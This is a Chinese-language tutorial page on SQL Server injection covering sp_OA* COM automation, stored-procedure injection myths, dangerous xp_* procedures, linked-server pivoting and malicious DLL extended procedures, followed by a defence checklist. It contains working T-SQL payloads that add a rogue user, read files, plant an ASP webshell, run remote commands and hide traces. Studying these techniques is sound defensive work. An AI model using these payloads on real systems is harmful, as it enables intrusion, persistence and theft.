首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊深度解析 (7/10):ActiveX 自動化腳本、存儲過程誤區、擴展存儲攻擊面

     編輯:關於SqlServer

sp_OA* 系列:讓 SQL Server 執行任意 COM 物件 (相當於 ASP/WSH)

SQL Server 內建 `sp_OACreate`, `sp_OAMethod`, `sp_OAGetProperty`, `sp_OASetProperty`, `sp_OADestroy`,允許 T-SQL 實例化 `ProgID` 並呼叫方法/屬性。**權限 = SQL Server 服務啟動帳號權限**。

四大經典攻擊範例

1. WScript.Shell — 執行任意命令 (如 notepad、cmd、powershell)


DECLARE @o INT;
EXEC sp_OACreate 'WScript.Shell', @o OUT;
EXEC sp_OAMethod @o, 'Run', NULL, 'notepad.exe';  -- 或 'cmd /c whoami > C:\out.txt'
-- 注入 Payload (單行):
'; DECLARE @o INT EXEC sp_OACreate ''WScript.Shell'', @o OUT EXEC sp_OAMethod @o, ''Run'', NULL, ''cmd /c net user hacker P@ssw0rd /add''--

2. Scripting.FileSystemObject — 讀取/寫入任意檔案


-- 讀取 C:\boot.ini
DECLARE @o INT, @f INT, @ret INT, @line VARCHAR(8000);
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\boot.ini', 1; -- 1=ForReading
EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT;
WHILE @ret = 0 BEGIN PRINT @line; EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT; END

-- 寫入 ASP Webshell (c:\inetpub\wwwroot\shell.asp)
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_OAMethod @f, 'WriteLine', NULL, '<%@ Language=JScript %><% eval(Request.Item["cmd"], "unsafe"); %>';

**IIS 版本差異**:IIS 4/5 (NT 4.0) ASP 執行身分 = `System` (最高權限);IIS 6+ 預設 `IWAM_*` / `ApplicationPoolIdentity` (低權限)。

3. Speech.VoiceText — 讓資料庫「說話」 (演示靈活性)


DECLARE @o INT, @ret INT;
EXEC sp_OACreate 'Speech.VoiceText', @o OUT;
EXEC sp_OAMethod @o, 'Register', NULL, 'foo', 'bar';
EXEC sp_OASetProperty @o, 'Speed', 150;
EXEC sp_OAMethod @o, 'Speak', NULL, 'All your SQL Servers are belong to us', 528; -- 528=SVSFDefault
WAITFOR DELAY '00:00:05';

存儲過程注入誤區:參數化 ≠ 安全

**誤區**:「用存儲過程就防注入」。
**真相**:看應用**如何呼叫**存儲過程。

  • 不安全:應用拼接字串 `EXEC ProcName '` + userInput + `'` → 仍是動態 SQL 拼接。
  • 安全:應用用 `CommandType.StoredProcedure` + `Parameters.Add()` → 參數以二進位 TDS 封包傳輸,繞過 SQL 解析器。
  • 存儲過程內部動態 SQL:`CREATE PROC P @x VARCHAR(50) AS EXEC('SELECT * FROM T WHERE c=' + @x)` → **內部注入**,參數化呼叫也無效。

**驗證**:`EXEC sp_who '1'; SELECT * FROM sysobjects;` — 附加語句照常執行。

其他高危擴展存儲 (xp_*)

擴展存儲功能風險
xp_cmdshell執行 OS 命令**最高** — 直接取得 OS Shell
xp_regread/write/delete/enum*讀寫登錄 (含 SAM、SNMP 社群字串)高 — 橫向移動、持久化、竄改配置
xp_servicecontrol啟動/停止/暫停 Windows 服務中 — DoS、禁用防毒/備份服務
xp_availablemedia列舉磁碟機低 — 偵察
xp_dirtree列出目錄樹低 — 偵察敏感檔案路徑
xp_enumdsn列舉 ODBC DSN中 — 發現其他資料庫連線
xp_loginconfig顯示安全模式/登入配置低 — 偵察
xp_makecab建立 CAB 壓縮檔中 — 打包竊取檔案
xp_ntsec_enumdomains列舉可訪問網域低 — 偵察
xp_terminate_process依 PID 終止程序高 — 殺掉 SQL/防毒/監控進程

連結伺服器 — 橫向移動跳板

若 `master..sysservers` 存在連結伺服器且設定 `sp_addlinkedsrvlogin` (自動登入),攻擊者可跨伺服器執行:


SELECT * FROM OPENQUERY(LinkedSrv, 'SELECT * FROM master..syslogins');
-- 或執行遠端 xp_cmdshell
EXEC ('EXEC master..xp_cmdshell ''dir''') AT LinkedSrv;

自訂擴展存儲 (DLL 注入)

  1. 攻擊者上傳惡意 DLL (含 `GetSQLServerInterfaces` 導出函數) 至伺服器可讀路徑。
  2. `EXEC sp_addextendedproc 'xp_evil', 'C:\Temp\xp_evil.dll';`
  3. `EXEC xp_evil;` — 在 SQL Server 進程內執行任意代碼 (Ring 0 級)。
  4. 事後 `EXEC sp_dropextendedproc 'xp_evil';` 清理痕跡。

**上傳途徑**:`xp_cmdshell` + `certutil`/`bitsadmin`/`powershell` 下載、FTP 腳本、HTTP 端點、錯誤日志寫入等。

防禦清單

  1. **移除/禁用** `sp_OA*`、`xp_cmdshell`、`xp_reg*`、`xp_servicecontrol`、`xp_terminate_process` 等非業務必需擴展 (`sp_dropextendedproc` 或刪除 DLL)。
  2. **最小權限服務帳號** — 無本地管理員權限、無網域權限、專用虛擬帳號/群組受控服務帳號 (gMSA)。
  3. **防火牆/網路隔離** — SQL 連接埠僅對應用伺服器開放,禁止出站網際網路。
  4. **審計監控** — Extended Events 記錄 `sp_OA*`, `xp_cmdshell`, `sp_addextendedproc`, `EXECUTE AT LINKED SERVER` 等敏感操作。
  5. **定期掃描** `master..sysservers`、`sys.extended_procedures` 異常項目。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved